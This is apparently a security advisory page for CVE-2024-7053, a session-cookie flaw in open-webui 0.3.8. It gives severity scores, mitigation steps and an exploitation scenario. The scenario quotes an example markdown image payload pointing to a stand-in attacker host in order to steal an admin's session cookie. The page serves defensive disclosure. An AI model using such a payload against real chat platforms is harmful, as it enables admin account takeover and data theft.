CVE-2024-7053 — HIGH (CVSS 7.6) AI Security Vulnerability

Q: Is CVE-2024-7053 actively exploited?

No confirmed active exploitation of CVE-2024-7053 has been reported, but organizations should still patch proactively.

Q: How to fix CVE-2024-7053?

1. UPGRADE: Check open-webui GitHub releases for a patched version beyond 0.3.8 and update immediately. 2. ENFORCE HTTPS: Serve open-webui exclusively over HTTPS—this prevents the SameSite=Lax bypass by blocking cleartext cookie transmission to cross-origin HTTP endpoints. 3. INJECT SECURE FLAG: As an immediate workaround via reverse proxy (nginx: `proxy_cookie_flags ~ secure;` / Caddy: header +Set-Cookie Secure), add the Secure attribute to all session cookies if application cannot be patched. 4. RESTRICT ACCESS: Do not expose open-webui to the internet without strong perimeter authentication (SSO/VPN); limit to trusted internal users only. 5. AUDIT SESSIONS: Review admin account login history for unexpected source IPs or concurrent sessions. 6. DETECT: Monitor outbound HTTP requests from the open-webui host for external image/resource loads from chat-rendered content; alert on admin sessions from IPs not matching known admin workstations.

Q: What systems are affected by CVE-2024-7053?

This vulnerability affects the following AI/ML architecture patterns: LLM chat interfaces, self-hosted AI assistants, ML UI platforms, open-source LLM deployments.

Q: What is the CVSS score for CVE-2024-7053?

CVE-2024-7053 has a CVSS v3.1 base score of 7.6 (HIGH). The EPSS exploitation probability is 0.23%.

CISO Take

Any user-level account on open-webui ≤0.3.8 can steal an admin's session cookie by embedding a malicious markdown image in a chat message—admin only needs to open the conversation. This results in full account takeover and potential RCE on the LLM host. Upgrade immediately, enforce HTTPS-only deployment, and restrict access to trusted users until patched.

Risk Assessment

High practical risk for organizations self-hosting open-webui with mixed trust levels (e.g., multiple team members or trial users). The attack requires only a legitimate user account and a single admin view event—no AI/ML expertise needed, making it trivially executable by any malicious insider or compromised user account. EPSS is low (0.00168) suggesting no mass exploitation observed yet, but open-webui has millions of deployments, and the admin-to-RCE escalation path elevates severity significantly beyond the CVSS score alone.

Affected Systems

Package	Ecosystem	Vulnerable Range	Patched
open-webui	pip	<= 0.3.8	No patch
136.3K Pushed today 58% patched ~9d to patch Full package profile →

Do you use open-webui? You're affected.

Severity & Risk

CVSS 3.1

7.6 / 10

EPSS

0.2%

chance of exploitation in 30 days

Higher than 46% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Attack Surface

AV Network

AC Low

PR Low

UI Required

S Changed

C High

I Low

A None

Recommended Action

6 steps

UPGRADE

Check open-webui GitHub releases for a patched version beyond 0.3.8 and update immediately.
ENFORCE HTTPS

Serve open-webui exclusively over HTTPS—this prevents the SameSite=Lax bypass by blocking cleartext cookie transmission to cross-origin HTTP endpoints.
INJECT SECURE FLAG

As an immediate workaround via reverse proxy (nginx: proxy_cookie_flags ~ secure; / Caddy: header +Set-Cookie Secure), add the Secure attribute to all session cookies if application cannot be patched.
RESTRICT ACCESS

Do not expose open-webui to the internet without strong perimeter authentication (SSO/VPN); limit to trusted internal users only.
AUDIT SESSIONS

Review admin account login history for unexpected source IPs or concurrent sessions.
DETECT

Monitor outbound HTTP requests from the open-webui host for external image/resource loads from chat-rendered content; alert on admin sessions from IPs not matching known admin workstations.

CISA SSVC Assessment

Decision Track*

Exploitation poc

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Auth Bypass Code Execution Data Extraction Framework API AML.T0011 - User Execution AML.T0012 - Valid Accounts AML.T0025 - Exfiltration via Cyber Means AML.T0049 - Exploit Public-Facing Application AML.T0080.001 - Thread AML.T0091.000 - Application Access Token

Compliance Impact

This CVE is relevant to:

EU AI Act

Art. 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.6 - AI system security and resilience

NIST AI RMF

MANAGE 2.2 - Mechanisms to sustain the value of deployed AI systems are evaluated and applied

OWASP LLM Top 10

LLM02 - Insecure Output Handling

Frequently Asked Questions

What is CVE-2024-7053?

Any user-level account on open-webui ≤0.3.8 can steal an admin's session cookie by embedding a malicious markdown image in a chat message—admin only needs to open the conversation. This results in full account takeover and potential RCE on the LLM host. Upgrade immediately, enforce HTTPS-only deployment, and restrict access to trusted users until patched.

Is CVE-2024-7053 actively exploited?

No confirmed active exploitation of CVE-2024-7053 has been reported, but organizations should still patch proactively.

How to fix CVE-2024-7053?

1. UPGRADE: Check open-webui GitHub releases for a patched version beyond 0.3.8 and update immediately. 2. ENFORCE HTTPS: Serve open-webui exclusively over HTTPS—this prevents the SameSite=Lax bypass by blocking cleartext cookie transmission to cross-origin HTTP endpoints. 3. INJECT SECURE FLAG: As an immediate workaround via reverse proxy (nginx: `proxy_cookie_flags ~ secure;` / Caddy: header +Set-Cookie Secure), add the Secure attribute to all session cookies if application cannot be patched. 4. RESTRICT ACCESS: Do not expose open-webui to the internet without strong perimeter authentication (SSO/VPN); limit to trusted internal users only. 5. AUDIT SESSIONS: Review admin account login history for unexpected source IPs or concurrent sessions. 6. DETECT: Monitor outbound HTTP requests from the open-webui host for external image/resource loads from chat-rendered content; alert on admin sessions from IPs not matching known admin workstations.

What systems are affected by CVE-2024-7053?

This vulnerability affects the following AI/ML architecture patterns: LLM chat interfaces, self-hosted AI assistants, ML UI platforms, open-source LLM deployments.

What is the CVSS score for CVE-2024-7053?

CVE-2024-7053 has a CVSS v3.1 base score of 7.6 (HIGH). The EPSS exploitation probability is 0.23%.

Technical Details

NVD Description

A vulnerability in open-webui/open-webui version 0.3.8 allows an attacker with a user-level account to perform a session fixation attack. The session cookie for all users is set with the default `SameSite=Lax` and does not have the `Secure` flag enabled, allowing the session cookie to be sent over HTTP to a cross-origin domain. An attacker can exploit this by embedding a malicious markdown image in a chat, which, when viewed by an administrator, sends the admin's session cookie to the attacker's server. This can lead to a stealthy administrator account takeover, potentially resulting in remote code execution (RCE) due to the elevated privileges of administrator accounts.

Exploitation Scenario

An attacker creates or compromises a standard user account on the target open-webui instance. They send a chat message to a shared channel or directly to a conversation visible to an admin, embedding a markdown image tag pointing to an attacker-controlled HTTP server (e.g., `![](http://attacker.example.com/c.gif)`). Because open-webui session cookies lack the Secure flag and use SameSite=Lax, when the administrator opens the chat in their browser, the browser issues a cross-origin GET request and attaches the admin's session cookie. The attacker captures the cookie from their server logs, replays it in their own browser, and now has full admin access to the open-webui instance—accessing all user conversations, stored API keys for backend LLMs, and system configuration. With admin privileges the attacker may install malicious tools or plugins, exfiltrate the entire conversation history, or pivot to RCE on the underlying host.